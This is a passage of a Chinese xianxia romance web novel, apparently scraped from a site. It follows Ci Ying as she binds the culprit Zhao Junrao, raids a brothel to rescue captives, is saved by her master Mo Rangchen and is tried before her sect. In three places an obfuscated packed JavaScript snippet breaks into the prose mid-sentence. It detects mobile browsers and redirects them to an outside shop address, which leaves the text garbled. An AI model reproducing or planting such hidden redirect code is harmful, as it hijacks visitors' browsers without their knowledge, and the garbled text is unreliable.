赵君娆轻蔑地笑了:“有意思,这都被你猜到了。” “因为谢堪在被你偷袭后,用尽最后的力气划伤了你。”辞盈说,“你可知是什么让我最终确定了你?” 赵君娆只望着她,却不接话,神色比方才更加阴狠。 辞盈抽出一张黄色符纸,夹在手指间摆弄着玩儿:“这其实根本不是什么昏厥符,只是一张效力极低的普通符纸,最多能让你头晕眼花罢了。而你的戏已经做足,没必要再演,就顺着我给的台阶昏了过去。” “原来如此,我还以为你这小修士是个连符纸也不会用的草包,竟小瞧了你。”赵君娆眼里透出怀疑,“既然你早就猜到是我,为什么还要吓唬那个讨人厌的小丫头?” 自然是为了支开我那爱凑热闹的傻师兄喽,这宝贝疙瘩要是有个三长两短,我怎么跟师门交代? 辞盈心里这么想,嘴上却道:“自然是怕别人抢功了。抓你,我一人足矣!” 赵君娆佩剑出鞘的寒光劈开夜色,直刺辞盈心口。 辞盈指尖诀印翻飞,唇间咒音未落,脚边厚积的枯叶已骤然翻涌如潮。褐黄叶片湍急盘旋,在漩涡中心托举出鎏金六芒星,符文在光纹间流转闪烁。 “六甲阴阳,锁魂缚魄——束!” 数道金光凝结,如金蛇长绳将赵君娆紧紧捆绑,挣脱不得。 赵君娆不可置信地低头看缚住自己的光绳,用尽全力却越挣越紧,最后直勒得一动也不能动。她面色狰狞,几欲发狂地叫道:“不可能!入梦花香迷魂从未失手,你这妖道怎么能没事!” “喏,”辞盈指了指自己脑袋上的流苏蝴蝶发簪,蝶翼上的碎珠在夜色里轻闪,摊手道:“避毒簪,师尊给的。” 去年生日那天,辞盈缠着墨让尘要生辰礼物,什么都行。 缠了三天。墨让尘皱眉,你连自己姓什么都不记得了,还记得生辰? 辞盈嬉皮笑脸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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面具人一手持错金博山炉,一手拢起一团黑烟,向湖中一掷。黑烟散入水中,竟化作无数条鱼,极速灵活地冲过来,将她团团围住。 辞盈顿时惊起一身鸡皮疙瘩。 竟是噬骨鱼! 噬骨鱼乃是煞气所化的邪物,牙齿尖而细密,红腹黑背,只消半刻便能将一头千斤壮牛的骨肉啃食得尸骨无存。 而她又是圣女之躯,灵魂至纯,血液中有莲花香气,只要被撕咬一口,便会引来更多妖魔鬼怪,将她当场撕碎分食,生吞活剥。 别慌别慌。 辞盈尽力冷静,屏息凝神,调动尽数修为,迅速在身体周围筑起一道厚实的护体金环。 密密麻麻的蚀骨鱼一撞上金环,即刻便烟消云散了。 感谢老天奶!师尊的修为又救我一命! “你到底是什么人?”辞盈对岸上问道,“错金博山炉你要就拿走,无冤无仇,为什么要害我!” 那面具之下冷冷道:“无冤无仇为何要害人,哼,我也想知道……等你到了地府,将来便替我问问那些人吧!” 说完,他便闪身没入林间夜色,没了踪迹。 辞盈正琢磨面具人话里有话是什么意思,低头发现黑压压的大片噬骨鱼没有退缩之意,反而攻势更猛,前赴后继近乎疯狂地撞上来! 赵君娆被捆着倒在草丛里,笑得猖狂肆意:“哈哈哈哈哈!妖道!你活该被这些脏东西撕碎咬烂,死无葬身之地!” 噬骨鱼没头没脑的东奔西撞,护体金环被消耗得越来越薄,从一尺宽慢慢被啃得只剩半寸,眼看薄弱处就要断裂。 圈外挤满的噬骨鱼血口翻张,辞盈大脑宕机,彻底慌了神。 完了,没想到是这么个死法。 你们不要过来啊!!! 14. 迎春楼 西方护法开的迎春楼并不是什么秘密,甚至人尽皆知。每年不知道有多少姑娘被捉进那个吃人不吐骨头的魔窟里,又被抬出来扔到乱葬岗。 近些年九曜派日渐势大,连修仙门派也不敢轻易招惹他们,普通百姓更是谈之色变,没人敢靠近半步。 这一夜又是杀人又是御剑,折腾了半宿,飞到青楼已至丑时。往常这个时辰,迎春楼已经过了客流高峰,门口只留两个姑娘招揽客人。 今日门前却整整齐齐站了两排大汉,个个虎背熊腰,手持长刀,这架势哪里还有其他客人敢上前,等同于包场,不许外人打扰。 江羡之一落地就拔出流光剑,迫不及待地要杀上门去。辞盈连忙拉住他:“这么多打手,你杀到手软也杀不完。” 一阵沁人心脾的幽香飘过,门口两排人左右摇晃两下,未吭一声,扑通栽倒。 江羡之吃惊道:“你用了什么法术我竟没看出来。” 辞盈道:“从赵君娆身上搜出来的迷药,你别说,旁门左道的法子,真香。” 刚踏进大门,浓郁的脂粉香气混着酒气扑面而来,难怪那些看门的闻到迷香都没察觉。 大堂中央的鎏金戏台竟是用整块血玉髓铺就,台上莺莺燕燕看得人眼花缭乱,翩翩起舞,空气中弥漫着奢华又放纵的氛围。 大厅里坐了不少九曜派的弟子,各自搂着姑娘兴致勃勃,觥筹交错,喝得正欢。 二人贴着墙边低调前行,迅速拐进侧面走廊,一间一间地挨个包厢扒开门缝找,免不了看到些少儿不宜的场景。辞盈没觉得有什么,穿越之前什么小网站没见识过,都是成年人,多大的事儿嘛。 倒是江羡之先慌了神,紧忙用手去遮她的眼睛:“你别看,在这等着,我自己找。” “你一个人要找到什么时候?”辞盈扒开他的手,“别管这些了,救你的白芷姑娘要紧。” 正说着,远处的包厢传来一声娇喝:“你别过来!知道我是谁吗?竟敢欺负到我头上!” 二人果断冲过去,不敢贸然推门,只顺着窗户缝往里瞧。辞盈个子不够,踮着脚,脖子伸得老长。 房间内陈设奢华,床上方吊着个美艳的紫衣姑娘,柳眉杏目,穿着性感,雪白的手臂上纹着奇异的图案,腰间还插着一条拇指粗的长鞭,两只手被捆着吊在空中。 对面站的,可不正是那日被钟离渊断了一臂的胡四么。 姑娘双腿胡踢乱蹬,气得满脸通红,对着面前的胖子怒目而视:“快放开我!我爹是玄武教教主萧阳!你胆敢碰我一下,定叫你死无葬身之地!” 胡四右臂断截处装了一只带鳞状甲片的钢制铁手,冰冷的铁片滑过紫衣姑娘的脸颊,他笑得十分猥琐:“萧阳?天罡塔下我看他吐血伤得可不轻,眼下还没死么?他的女儿……我更要好好地尝尝滋味。” 情况紧急,窗外二人对视一眼,想法一致:白芷得救,这姑娘也得救! 胡四能做到九曜派的西方护法,可不是只会开青楼玩儿姑娘的草包。如果现在冲上去,以辞盈他们俩的本事,跟自杀没什么区别。 何况一旦打草惊蛇,再想找白芷就难上加难。可是如果不动手,眼看这姑娘立刻就要吃亏。 江羡之低声道:“我去引开他,你先救人再说。” 辞盈却拉住他,神秘一笑:“这头猪交给我,你快去找白芷吧。放心,我能搞定。” 江羡之正要抗议,辞盈已经率先踹开房门,光明正大地站在门口,高声喝道:“死胖子,总算被我找到你了!” 江羡之大吃一惊,又不能双双暴露,慌忙闪身躲藏,先去别的房间搜人。 胡四在屋中也吓得一哆嗦,待看清眼前人,他才松了口气,眯起眼睛恶狠狠道:“竟然是你!害我失掉一条手臂,你居然还敢来迎春楼找死!” 说话间,他的铁手臂逐渐泛起诡异的绿光,显然在积蓄杀意。 辞盈轻蔑的语气里带了几分慵懒:“啧啧,看来你还不知道我是谁。” “你不就是圣女么?”胡四目露凶光,“既然送上门来,我正好拿你下酒,也好报我的断臂之仇!” “嘁,”辞盈仿佛听到了什么可笑的事,“来啊,你过来试试。” 胡四心下不免疑虑。 她怎么如此淡定,仿佛胜券在握?难道有诈?钟离渊那个疯子虽然喜怒无常,对她却着实在意,难道今天她又带了钟离渊来寻麻烦? 一想起那个红衣少年,胡四顿觉右臂断截处一阵剧痛,后背发凉,不敢轻举妄动,只警惕地盯着辞盈:“你到底来干什么?” 辞盈嗤笑一声,没看他,只顾把玩着手中的长剑,漫不经心道:“你可还记得,上次是哪只手摸了我的脸?” 胡四仅剩的左手不易察觉地颤抖起来,却故作镇定:“老子爱用哪只手摸就用哪只手摸,你能怎样?” 辞盈像是十分可惜地叹了口气:“我本来的确没想计较,可他不同意,非要把你另一只手也剁了喂狗,这可怎么办呢?” 胡四面如土色,后背的锦袍已被冷汗浸湿,却仍咬紧牙关强撑:“你少唬我!他在哪里……你叫他出来……胡爷我才不怕他……” 辞盈的目光看似无意地朝走廊尽头飘去——她其实是在看江羡之的方向,可在胡四眼里,却笃定走廊里站着的是钟离渊,顿时吓得毛骨悚然。 辞盈不屑地扫了他一眼,慢悠悠道:“他说,必要让我亲自动手,卸了你的胳膊他才满意。胡四,你可叫我们找得好辛苦,今日,便将你的左手留下罢!” 她剑比嘴快,最后一个字还没说完,人已一跃而起,长剑带着气贯山河之势,直劈向他左臂! 胡四早已被吓破了胆,竟连一丝还手的念头都没有。见她来势汹汹,仿佛看到了钟离渊本人,当即慌不择路,撞破外窗,狼狈逃窜。 “站住!别跑!”辞盈嘴上喊着,手腕却一转,床上吊着的绳索倏然被斩断。她二话不说,拉起紫衣姑娘一口气狂奔到迎春楼外,直跑出了半条街才停下脚步:“你自己走吧,我还得回去一趟。” 谁知手上一紧,紫衣姑娘拉住她,口气颇大:“你是何人?既救了我,我定要重重赏你。” “赏就不必了,路见不平,应该的。”辞盈敷衍两句,急着回迎春楼找江羡之。 紫衣姑娘眉头一皱:“怎能不必?我玄武教向来赏罚分明,你今日救了我,就是立下大功,说吧,想要什么赏赐?” 辞盈没时间跟她纠缠,随口道:“随便你吧,我赶着救人!” “你是水云剑宗的人?”紫衣姑娘打量着她,“我看你剑法也不怎么样,干嘛还要回去送死?” 辞盈心里烦躁——这姑娘怎么这么多话! 月黑风高,两人正拉扯着,黑暗中忽然传来一声猖狂的笑:“狡猾的臭丫头,险些被你骗了!” 原来胡四吓得跑出去老远,听身后没了动静,越想越不对劲,便偷偷折了回来。他听见街头两人说话,又鬼鬼祟祟地凑上前一瞧,连第三个人影都没有——哪来的钟离渊? 他顿时把刚才抱头鼠窜的样子抛到脑后,挺着肥肉乱颤的肚子,趾高气昂地喝道:“今天你们两个谁也别想走!” 辞盈原本还担心江羡之,怕他为了白芷跟胡四拼命。眼下胡四追到自己这儿来,她反倒松了口气,不紧不慢地冷笑: “胡四,我看你真是活腻了,连我也敢惹,就不怕钟离渊扒了你的皮?” 她的淡定不是演的。 哪怕到了再紧要的关头,不是还有一位能随叫随到的阎王爷兜底嘛,打不过喊救命就是了。 胡四眯缝的眼睛精光一闪,趁她没注意搞了个小动作。 辞盈甚至没看清是什么,萤火虫似的小点闪着诡异的绿光,“嗖”地从唇齿之间钻了进去。 这是什么?绿色净化版“吐真言”吗??? 然后,她徒劳地张了张嘴,却再也发不出一丝声响。 靠。 果然做人要低调,就算有靠山也不能太嚣张。 辞盈感觉自己像个玩儿脱了的战士,雄赳赳气昂昂地冲到战场上,一摸腰,没带刀。 夜深人静,普通百姓门窗禁闭生怕受到牵连,九曜派的弟子听见打斗声音都从迎春楼追出来,手持兵器跟在胡四身后待命。 辞盈横下心来,反正跑不掉,索 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101544|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性跟他拼了,好过窝窝囊囊被人踩死。 说时迟那时快,胡四的铁爪已带着腥风扑到眼前,离辞盈冒汗的鼻尖不过寸许。 这般体型悬殊,辞盈本该灵巧闪避,可他拳速太快,辞盈根本来不及反应,只能硬着头皮接下。 她将半身的气力都压在剑上,剑身一横,金属相撞吭然声响,手腕震得发麻,险些握不住剑,整个人被强力冲击向后踉跄了好几步才站住脚。 胡四肥硕的身躯却也向后一撤,摇晃了两下,不禁皱起眉头:“看你娇弱的小身板,岁数也不大,哼哼,没想到底子这么厚,先前竟小瞧了你。” 辞盈后背沁出冷汗——这硬碰硬的招式,她绝扛不住第二下。 尽管身体里有两股强大的内力支撑着,她的细胳膊细腿却显然吃不消了,就好比一个三岁孩童哪怕得到宝刀也拎不起来,杀不了敌。 她感觉自己被方才这一招抽空了力气,两条腿都在隐隐发抖,很想再虚张声势两句,又说不出话,只好故作高深地笑笑。 她握紧长剑,还没等出手,对面胡四却狞笑着变形了。 “咔嚓——咔嚓——” 骨骼爆响混着衣料撕裂声,他浑身肌肉像被吹胀的气球,瞬间撑破长袍。原本只比辞盈高半头的矮胖子,竟像热油里的虾片般疯长,转眼便有两人多高,胳膊比她腰还粗,满脸横肉里翻涌着凶光,仿佛一抬手就能捏碎她的脖颈。 辞盈看得傻了眼。 好歹你也是个九曜派护法,对付我个练气期小道士,至于动这么兴师动众嘛? 黑暗中不知是谁在吹口哨,接着便有窸窸窣窣的声音从四面八方传来,令人头皮发麻。借着月光细看,竟是许多短尾蝮密密麻麻地贴着地皮扭曲潜行而来。 紫衣姑娘口中哨声忽高忽低,像一首阴森诡异的异域小曲,操控着群蛇很快将胡四等人团团围住,呲呲地吐着血红的信子蓄势待发。 “走!” 她拽起辞盈就跑。 胡四身旁两个手下腾空跃起,弯刀直劈而来。姑娘冷笑一声,腰间长鞭如灵蛇出洞,“唰”地缠住二人脚踝,手腕轻旋,软鞭竟生出千钧之力,像抽陀螺似的将两人甩飞数丈,落地时骨头碎裂的闷响格外清晰。 辞盈用眉毛比了个“绝”。 教主的女儿果然不是吃素的。 “人情还你了!”姑娘笑道。 二人还没跑出几步,便听身后爆裂之声此起彼伏,无数短尾蝮爆裂飞溅,血肉模糊。 随即传来胡四粗犷的笑声:“小美人一个比一个带劲儿,可该我今天艳福不浅啊,哈哈哈哈。” 紫衣姑娘脚下生风,嘴里也不闲着:“呸!胡四!你敢惹我!就等着我爹爹砍了你的肥猪头下酒吧!” “那得看你还有没有命去见他!” 胡四紧追不舍,坚硬锐利的铁手如影随形,直抓辞盈后心。她身轻如燕,左闪右躲,几次都擦着衣摆堪堪避过。急得胡四气急败坏:“再跑!逮到你活剥了皮!” 他身体庞大笨重如熊,跑起来地动山摇,速度却丝毫不减,反而越跑越快,铁手如笊篱捞来捞去,眼看就要碰到二人背心。 辞盈脚下不停,同时卯力用剑一挑,将路旁的石墩猛地向后抛出砸去。 “就凭你们这点儿小把戏!” 胡四狞笑一声,一掌将石墩劈得粉碎。 猛跑之间,辞盈感到一股凶戾的邪风直逼后脑,心顿时沉到谷底。 完了,这一下头骨肯定要被铁手碾成饼干渣了。 电光火石间,辞盈眼前落下一片花白,如铺天盖地的雪幕,紧接着一道锋利无匹的蓝色剑芒劈斩直下,磅礴剑气将众人掀得连翻带滚好几个跟头。 一声凄厉惨叫刺破夜空。 胡四坚硬的铁手被削萝卜似的轻松斩断,当啷一声飞出老远。 “我的手!哪个孙子暗算老子!”他捂着断臂怒吼。 雪幕剑气之后现出一人,白袍胜雪,履不染尘,如踏浮云,轻飘飘地落在众人面前,手持一柄清风朗月的醉花剑,眉目间透着不食人间烟火的清冷疏离。 辞盈嘴一瘪,差点儿哭出来。 15. 直球少女 这下不用死了。 墨让尘淡淡瞥她一眼,声音清冽如冰泉:“不是说过,让你在山上等我?” 怎么等你,我是被撵下山的好嘛! 辞盈张了张嘴发不出声,只能红着眼圈望着他,活像受了委屈的小兽。 墨让尘眉头微蹙,看出端倪,手掌在她腹前隔空一推。辞盈喉咙一阵发痒,那萤火虫似的绿光终于被吐了出来。 “师尊!你终于回来啦……”辞盈一开口,哭了个稀里哗啦。 自他走后,辞盈先在天罡塔被钟离渊撞个半死,又被水云剑宗的老头们撵下山,这一路捉鬼查凶,险些喂了噬骨鱼,还被胡四追着杀,堪称惊心动魄,九死一生。 本来她还算乐观,反正倒霉三年也习惯了,可是一看见墨让尘,就好像摔疼的小孩儿看见亲娘,满肚子的委屈几乎要溢出来,要不是怕坏了师尊名声,真恨不得立刻扎进他怀里大哭一场。 这徒弟虽然一直脑子不太正常,倒也不会动不动就哭成傻子。墨让尘脸色微变:“怎么了?” 辞盈红着鼻头哭的一抽一抽,说话断断续续:“他们欺……负我,我差……点儿就……死了……” 墨让尘冷峭的目光扫向九曜派众人。 空气瞬间凝固。 胡四慌忙摆手:“哎,你可别血口喷人啊!我还没来得及欺负你呢!一根手指头我都没碰着!” 众人:“正是正是!我们可以作证!” 胡四:“她还闯进我的迎春楼抢我的人!你还砍了我的手!明明是你们水云剑宗欺负人!” 好像还真是。 辞盈抹了抹眼泪:“师尊,二师兄还在迎春楼!” 墨让尘又扫了胡四一眼。 胡四大吃一惊:“谁?我可从来不抓男的!” “我去找他!” 墨让尘抬手,来不及阻拦,辞盈已经一溜烟跑进迎春楼。他急忙跟上,刚到楼下,迎春楼上花里胡哨的槛窗哗啦推开,辞盈的小脑袋从满园春色里探出来,手里晃着一串叮当乱响的玉佩高喊:“师尊不好啦!二师兄被人抓走啦!你看这是他的玉佩!” 什么青楼妓院的,她没想那么多,也没觉得自己进来找人有什么问题。 墨让尘却面有怒色,沉声道:“你先出来。” 胡四赶紧撇清:“墨宗主,这可不关我的事!你们的人来砸场子,人丢了也不是我抓的,我一直跟这丫头耗着呢!” 辞盈从窗口一跃而下,乖乖跑回来躲在墨让尘身后,歪出半个脑袋:“人在你的地盘丢了,是谁搞鬼你心里能没有个数?他那么大个人还能自己瞎跑吗?警告你快交出我二师兄,否则把你打成猪头!” “你杀了我也交不出!鬼知道你师兄跑哪儿风流去了!”胡四气得跳脚,“水云剑宗莫要欺人太甚!” 江羡之失踪得蹊跷,除了一串玉佩没有留下任何线索,现在要找人就如同大海捞针,毫无头绪。 墨让尘冷睨着胡四:“我暂且有要事。三日之后,若我徒儿还没消息,我只找你九曜派要人。” 他给辞盈递了个眼色,转身便走。辞盈在后头对着胡四嚣张地挑眉毛、做抹脖子手势,没留神墨让尘突然停下,“咚”地撞到他后背,弹回来一屁股坐地上。 “师尊你干嘛突然站住……”她耍赖似的抱怨,歪着脑袋一看,原来是前面拦了个人。 紫衣姑娘脸上毫无羞怯,笑容比骄阳还艳:“你就是水云剑宗宗主墨让尘?我叫萧无忧,谢谢你救了我,交个朋友吧。” 直球少女啊! 辞盈惊得忘了从地上爬起来,啃着自己拳头在线吃瓜,暗道萧阳平时定是极度宠爱这个女儿,萧无忧不止名字潇洒,行事作风也比她这个现代人还要生猛放的开。 墨让尘倒不介意她的直白,淡然道:“举手之劳,不必挂怀。” 萧无忧往前一步,眼含情意:“那我能去水云剑宗找你吗?” “宗门事务繁忙,恐无暇接待。”墨让尘绕开她便走。 “我可以等!”萧无忧追上来,“你有空了再陪我,墨让尘,我喜欢你。” 辞盈尴尬地站在旁边脚趾扣地,想撤也没处撤,心里无端对萧无忧生出几分同病相怜的同情来。 喜欢谁不好,喜欢这油盐不进的师尊大木头,能有什么好果子吃。 墨让尘负手而立,幽沉的眼眸毫无波澜:“你我素不相识,何谈喜欢?” “现在不就认识了?”萧无忧生得妩媚,艳若桃李,抹胸之上露出雪白纤长的脖颈,浅色薄纱下玉臂若隐若现。 以她的身份,哪怕是貌丑如无盐也不会缺少追求者,何况她如此貌美,向来是众星捧月惯了。她若有看得上的男子,勾勾小指就来了,从没想过还能有人对她说不。 她纤腰一叉,理直气壮地说,“你急着拒我,难道有心上人了?” 墨让尘神情淡然,看也不看她,只对辞盈道:“我们走。” 萧无忧自小便没了娘,身为萧阳的独女,可说是他手心里捧着长大的,养尊处优,没受过半点委屈。 在玄武教,她说东,别人不敢往西。在外头,普通人自然任她欺凌,若是遇上修仙习武的别门他派,听了萧阳的名字,也少不得要避让三分。 谁料今日竟如此不顺,先有色胆包天的胡四,又碰上这么个不解风情的混账。 “墨让尘,你竟敢无视我!”萧无忧腰间长鞭在空中一声脆响,灵蛇出窍,快如闪电。 墨让尘眼皮都没抬,手指轻轻一夹,便将软鞭稳稳钳住。稍一用力,方才还力贯千钧的鞭子就软得像面条,被他轻飘飘地抽夺过去。萧无忧收不住力,踉跄着扑倒在地,吃了一嘴土。 辞盈有些不忍,过去扶她:“没事吧?” “不要你管!”萧无忧气鼓鼓甩开她的手,“莫让尘,你为什么不理我?难道我不够漂亮吗?” 美人眼泪汪汪瘫坐在地,像雨后娇艳欲滴的桃花,三分嗔怒七分委屈的神情更是我见犹怜。 辞盈心中叹息,对面随便换个男的大概都心软了,可惜,师尊他老人家六根清净心无旁骛跟和尚没什么区别。 果然,莫让尘未发一语,将软鞭丢在地上,径直离去。 辞盈耸耸肩,只能跟上。 萧无忧抓起一把灰土狠狠扔出去,在尘埃扬沙中盯着他的背影,咬牙道:“墨让尘!你等着,咱俩没完!” 通往水云剑宗的路草木繁盛,虫鸣鸟叫,空气中混合着青草与泥土的味道,露水浸得地面湿乎乎的。 墨让尘走路很快,辞盈努力跟上又怕滑倒,便一只手轻轻拽着他衣袖。 “清瘦了些。”他看似不经意地瞥了辞盈一眼。 “可不是嘛。”辞盈打开了话匣子,“虽然卓师傅做的菜三年没有创新,我已经吃腻了,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101545|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好歹有荤有素能吃得饱,可是一下了山我就只能吃馒头。” “你送我的法器丹药我一样都舍不得卖,要不是二师兄出手阔绰,我怕是要饿死在谢家堡。” 墨让尘脸上不自觉带了笑意:“以后还敢随意下山乱跑吗。” “又不是我想跑……”辞盈嘟囔,“师尊,你以后不管去哪里都带上我行不行?” 莫让尘脚步微滞,转头看她:“为何?” “想我死的人实在太多了。”辞盈无奈道,“凭我这点儿道行很难苟到最后啊。” 她侧头看他,明眸亮如星辰,梨涡里盛着笑意,像在撒娇。墨让尘心头微动,忍不住伸手揉了揉她的头发。 “师尊,你渡劫顺利吗?有没有受伤?” 其实并不顺利。他记挂着她,渡劫时心不在焉,幽魄江凶险异常,差点就回不来。 幸好我活着回来了,还能再看见你。 墨让尘咽下这些话,温和道:“你看我像受伤了吗?” 辞盈笑起来:“也是,这世上哪有人能伤得了师尊……” 话没说完,那张时而单纯时而邪魅的脸在脑海中一闪而过,她后脑涌上一阵寒意,笑意僵在脸上。 墨让尘扶住她的手臂,感觉她似乎有些发颤:“在怕什么?” 辞盈摇摇头,像是要甩走什么可怕的念头,强打精神:“没什么,就是担心二师兄。” 墨让尘柔声安慰:“别怕,我定会找回羡之。” 浅蓝明净的天空泛起小朵白浪,依稀可见远处薄雾缭绕着水云剑宗山门。 山门内几个杂役弟子正杵着扫帚聚在一起说话,有眼尖的发现了墨让尘,几个人立刻恭敬地站成一排行礼。 墨让尘仿佛瞬间换了个人,骤然冷淡许多,看也不看辞盈,冷冰冰道:“为师还有事,你且自行回云麓殿。” “哦。” 他在人前向来冷淡,辞盈倒也习惯了。只是今日不知是不是自己多心,总觉得那几个杂役弟子看自己的眼神十分怪异。 像在看过街老鼠。 辞盈也不在乎,径直回了云麓殿。 也不知道二师兄现在何处,是否安好。 辞盈叹了口气,转到正殿,随手打理起窗旁案几上的鸢尾花。 云麓殿原本并没有花。辞盈捧来一盆,鲜嫩的花瓣上滚着亮晶晶的露珠,紫色浓郁得化不开,中心还缀着一片诱人的金黄。 她说,云麓殿只有龙脑檀香,班味儿太重,无趣得很,卷王也需要偶尔松弛一下。这盆鸢尾花就像她本人一样,格格不入却能给师尊换换心情,找点儿乐子。 墨让尘皱着眉听她说完这些乱七八糟的话,就冷着脸把她撵出去了。 鸢尾花却被留了下来。 一声不易察觉的轻响,有人推门而入。 对辞盈来说,云麓殿大概是这世上最有安全感的地方,毕竟没人敢来找墨让尘的麻烦,所以她整个人都处于毫无防备的松弛状态,回身速度慢了一拍。 就这一眨眼的功夫,那人已到近前,一张定身符利落地拍在她背上。 定身符?竟是水云剑宗的人? 辞盈心头一震:“大胆狂徒,敢来云麓殿放肆!” 身后传来窸窣响动,那人取来粗麻绳将她捆结实,才绕到正面,皮笑肉不笑地说:“师妹,得罪了。我奉宗主之命,押你去刑台领罚。” 16. 刑台受审 辞盈认得此人,是执法长老座下首徒王莽。 一对耷拉眼配着蒜头鼻,尖嘴猴腮还微微塌肩,瞧着就一副奸猾相,偏偏是个家底殷实的公子哥。早年执法长老沉迷赌局,他家殷勤上供了不少财物,便被收为门徒悉心教导,可惜根骨太差,这么多年修为毫无长进。 麻绳勒得胳膊生疼,辞盈怒极反笑:“一派胡言!方才还是师尊带我回来的,他亲口说让我在此等候。你假传命令,想把我骗到哪里去?” “是真是假,去了便知!”王莽撕下定身符,像牵牲口似的扯着麻绳将她拽出门。沿途弟子见了这场面,顿时议论纷纷。 “我就知道她不是什么好东西。” “勾引自己师尊的能是什么好货色?依我看她就是故意放了钟离渊的。” “嘘,你小声点儿,小心别被宗主听见了。” “怕什么,她这样卑劣的行径,宗主岂能再容她!” 辞盈被扯着往山上走,满心疑窦。难道王莽是得了谁的密令要弄死她?既然要弄死,刚才就该在云麓殿动手,怎么还敢众目睽睽之下把她绑走,这也太嚣张了。 春寒料峭,越往高处走,山风刮得越是凶猛,辞盈被风沙迷了眼,脚下刚慢几步,手腕上一阵猛力拉扯,险些栽倒。 王莽不耐烦地催促:“走快些!都等着你呢。” 辞盈问:“再往上就只有刑台了,你说谁在那等我?” 在水云剑宗三年,她只听说过暮苍山顶有座刑台,却从未踏足。水云剑宗规矩虽严,弟子犯错向来由师父惩戒,就算犯了大错交由执法长老,也只在执法堂处置,从未有人上过刑台。 她一直以为,那刑台就跟学校的校长信箱似的,不过是个摆设。 王莽冷笑:“小师妹,我在剑宗这么多年,还没见过刑台审人,今日托你的福,总算能开眼了。” 山风猎猎,云峰巍峨。远处群山连绵,苍翠铺展万里;峰峦叠嶂间,唯独暮苍山高耸入云,像一柄锋芒毕露的宝剑刺向苍穹,孤傲得遗世独立。 刑台就设在暮苍山顶,浩浩荡荡的围观人群早已等候在此。寒风如刀刮过皮肤,空气却稀薄得让人胸口发闷。辞盈被勒得喘不过气,深吸几口寒气,只觉得更冷了。 高台之上端坐着两个人。 老者身着玄袍,须发皆白,手持拂尘,面带慈悲相;年轻人白衣胜雪,玉带束发,眉目俊秀,腰间佩剑隐泛蓝光。 “禀老祖、宗主,辞盈带到。”王莽狠狠一脚踹在辞盈腿弯:“跪下——!” “扑通”一声,膝盖重重砸在地面,她身体向前弯了一下,额前碎发挡住了脸,看不清表情。 台上,墨让尘端坐着,指节扣在扶手上,青筋隐现。 辞盈咬牙忍住了疼,抬起头,正撞见墨让尘的眼睛。向来泰山崩于前面不改色的师尊看起来很生气,好像下一秒就要拔剑劈人了。 到底发生了什么?师尊拂袖而怒,看着像只要炸毛的狮子。 她身上忽然一松,束缚的麻绳竟然寸寸尽断。 “真相未明,谁教你对同门动武!”墨让尘脸色阴沉骇人。 王莽慌忙垂下头:“宗主息怒。” 执法长老冷哼:“证据确凿,事已至此,宗主还要护短吗?” 辞盈揉着膝盖站起来,扫视四周。 诸位长老内门高手皆在,山腰间更是人头攒动,恨不得整个水云剑宗的人都挤在栈道上围观,更有那爱看热闹的甚至御剑飞在空中吃瓜。 身旁清一色的水云剑宗靛蓝道服之中混着几个身着常服的镖师。辞盈定睛一看,最前面站着的女子身着黑色劲装,臂扎白孝带,不是谢家堡谢夫人又是谁? 她正纳闷着,视线一对上,谢夫人立即破口大骂:“无耻妖道!还我夫君和妹妹命来!” “谁?”辞盈回头看看身后没人,不可置信地指了指自己,“你在跟我说话?” 谢夫人眼睛几乎要喷出火来:“你勾结钟离渊,害死我谢家堡八条人命,亏我还信了你的鬼话,竟没有看透你这人面兽心的东西!可怜我那得了疯病的妹妹,死状何其悲惨!” 人群顿时骚动,细碎的鄙夷唾弃声不绝于耳。 执法长老严肃道:“苦主已经找上门来,辞盈,你还不认罪!” “我没有罪,如何能认?” 辞盈给气笑了,“谢夫人,你家之前六位镖师早在我去谢家堡之前就死透透的了,你夫君被害的时候我就在你安排的厢房里睡觉。我好心好意帮你捉了凶手,救了你谢家堡其余人的性命,你怎么这样不识好歹,不分是非?” “休要再蒙骗我!”谢夫人怒道,“定是你早就埋伏在谢家堡附近,先杀了六名镖师,又骗取我的信任,潜入我家害死我夫君和妹妹!” 辞盈道:“你家三天死六个人,我下山才几日?难不成我一下山就立刻御剑飞过去杀素不相识的镖师?我心理变态啊?” 王莽阴阳怪气道:“也不是没有可能啊。” 辞盈真想给他一脚,翻了个白眼道:“行,就算我是变态,可是这一路我都跟二师兄在一起,我哪有时间去杀人?” “羡之此刻又不在,随你怎么编了。”执法长老道。 一个相貌清秀的青年向前一步走出人群,正是大师兄游乘风。他慢条斯理道:“师尊说他碰见师妹与九曜派胡四打斗,师妹又说羡之也在附近,被人抓走了。这不就说明师妹曾经和羡之在一起?” “宗主并未亲眼所见,只是听她一面之词,不可取信。”执法长老道,“我倒怀疑,她既然能与钟离渊勾结杀人,或许也能与九曜派勾结抓走羡之……” “执法长老慎言。” 墨让尘打断,“莫须有的罪名岂能随意乱扣?!”他转向谢夫人,诚恳道,“谢夫人,你可曾亲眼见我徒弟杀人?” 